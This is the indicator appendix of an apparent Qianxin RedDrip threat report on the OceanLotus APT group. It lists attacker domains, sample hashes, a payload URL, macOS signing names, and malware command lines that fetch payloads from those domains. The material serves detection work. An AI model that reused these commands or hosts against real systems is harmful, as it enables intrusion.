syn.servebbs.com

word.webhop.info

beta.officopedia.com

outlook.updateoffices.net

outlook.betamedias.com

outlook.officebetas.com

office.allsafebrowsing.com

open.betaoffice.net

cortanazone.com

b.cortanazone.com

cortanasyn.com

api.blogdns.com

dominikmagoffin.com

blog.artinhauvin.com

worker.baraeme.com

kingsoftcdn.com

style.fontstaticloader.com

plan.evillese.com

bluesky2018man.com

enum.arkoorr.com

background.ristians.com

pong.dynathome.net

zone.servehttp.com

cdn.eworldship-news.com

api.blogdns.com

online.stienollmache.xyz

image.fontstaticloader.com

mappingpotentials.com

vnbizcom.com

cdn3.onlinesurveygorilla.com

eworldship-news.com

enormousamuses.com

163mailservice.com

stackbio.com

mailserviceactivation.com

web.dalalepredaa.com

rio.imbandaad.com

p12.alerentice.com

 

诱饵文档

fd128b9f0cbdc374227cf5564371aacc 

4a0144c7436e3ff67cf2d935d82d1743

4c30e792218d5526f6499d235448bdd9

d8a5a375da7798be781cf3ea689ae7ab

2d3fb8d5b4cefc9660d98e0ad46ff91a

89e3f31c6261f4725b891c8fd29049c9

7b0e819bd8304773c3648ab03c9f182a

c4d35f3263fef4a533e7403682a034c3

b1df440e5dd64ffae9f7e792993f2f4c

a76be0181705809898d5d7d9aed86ee8

2785311085b6ca782b476d9c2530259c

60501717f81eacd54facecf3ebadc306

3d7cd531d17799832e262eb7995abde6

c7931fa4c144c1c4dc19ad4c41c1e17f

 

 

同源文档:

5c9ef8b5263651a08ea1b79057a5ee28

b858c08cf7807e462ca335233bd83fe7

c313f8a5fd8ca391fc85193bc879ab02

473fdfefa92725099ca87e992edbc92c

02cec2f17a7910b6fa994f340bbbc297

dd5ae0c0a7e17d101f570812fec4e5e4

90e5ff68bf06cb930ed8c040139c4650

6db450c4c756071ecafff425d6183d7d

cb39e2138af92c32e53c97c0aa590d48

8e13895504e643cd8e0e87377b25bd6b

d3c27f779d615a1d3a35dff5e9561eb0

27425360d18feea54860420006ea9833

cf0142da12509f544a59093495c3a6dd

b1df440e5dd64ffae9f7e792993f2f4c

878fa022bd5e5caf678fe8d728ce42ee

f78be074f6bc67a712e751254df5f166

e2aed850c18449a43886fc79b342132f

74b456adf2ae708789fb2d34ecccb954

72263750df84e24fe645206a51772c88

3a574c28beca4f3c94d30e3cf3979f4c

ee836e0f7a40571523bf56dba59898f6

f6068b672a19ce14981df011a55081e4

00ac0d7337290b74bdd7f43ec4a67ddb

 

 

同源PE

2f9af6b9d73218c578653d6d9bd02d4d

c9d29501410e19938cd8e01630dc677b

 

 

URL:

http[:]//download-attachments.s3.amazonaws.com/db08b565038ac83e89e7b55201479f37ea49e525/f0c6ea8e-d2f8-445f-b649-57808b2015b7

 

样本特征:

 

ZA:\Code\Macro_NB2\Request\PostData32.exe-u https://word.webhop.info/blak32.gif -t 200000

ZA:\Code\Macro_NB2\Request\PostData32.exe-u https://syn.servebbs.com/kuss32.gif -t 200000

UA:\Code\Nb2VBS\Request\PostData32.exe-u https://ristineho.com/threex32.png -t 60000

XA:\Code\Macro_NB2\Request\PostData32.exe-u https://cortanasyn.com/kirr32.png -t 200000

C:\Users\WIN7UTL64\Desktop\Macro_NB2_new\Request\PostData32.exe

 

{C:\Users\WIN7UTL64\Desktop\Macro_NB2_new\Request\PostData32.exe-u https://office.allsafebrowsing.com/fdsw32.png -t 240000

 

SecurityAndMaintenance_Error.bin

d:\work\malware\vinacap\SecurityAndMaintenance_Error.png

d:\work\forensics\vinacap\dfir\nhule\files\SecurityAndMaintenance_Error.png

D:\work\forensics\vinacap\DFIR\Nhule\files\SecurityAndMaintenance_Error.png

 

MAC样本签名:

MelindaCline (P74QRJXB2F)

DAVIDDOWELL (B5YH6VDVRE)

 

参考链接

[1] https://ti.qianxin.com/blog/articles/oceanlotus-targets-chinese-university/

[2] https://twitter.com/blackorbird/status/1118399331688570880

[3] https://medium.com/@sp1d3rm4n/apt32-oceanlotus-m%E1%BB%99t-chi%E1%BA%BFn-d%E1%BB%8Bch-apt-b%C3%A0i-b%E1%BA%A3n-nh%C6%B0-th%E1%BA%BF-n%C3%A0o-ph%E1%BA%A7n-2-119a24585d9a

[4] https://twitter.com/blackorbird/status/1086186184768815104

[5] https://twitter.com/RedDrip7/status/1119204830633848834

附录

红雨滴高级威胁研究团队(RedDrip Team

 

奇安信旗下的高级威胁研究团队红雨滴(天眼实验室),成立于2015年,持续运营奇安信威胁情报中心至今,专注于APT攻击类高级威胁的研究,是国内首个发布并命名“海莲花”(APT-C-00,OceanLotus)APT攻击团伙的安全研究团队,也是当前奇安信威胁情报中心的主力威胁分析技术支持团队。

 

目前,红雨滴团队拥有数十人的专业分析师和相应的数据运营和平台开发人员,覆盖威胁情报运营的各个环节:公开情报收集、自有数据处理、恶意代码分析、网络流量解析、线索发现挖掘拓展、追踪溯源,实现安全事件分析的全流程运营。团队对外输出机读威胁情报数据支持奇安信自有和第三方的检测类安全产品,实现高效的威胁发现、损失评估及处置建议提供,同时也为公众和监管方输出事件和团伙层面的全面高级威胁分析报告。

 

依托全球领先的安全大数据能力、多维度多来源的安全数据和专业分析师的丰富经验,红雨滴团队自2015年持续发现多个包括海莲花在内的APT团伙在中国境内的长期活动,并发布国内首个团伙层面的APT事件揭露报告,开创了国内APT攻击类高级威胁体系化揭露的先河,已经成为国家级网络攻防的焦点。

 

更多团队文章敬请扫码关注

image.png

取消
Loading...

填写个人信息

姓名
电话
邮箱
公司
行业
职位
css.php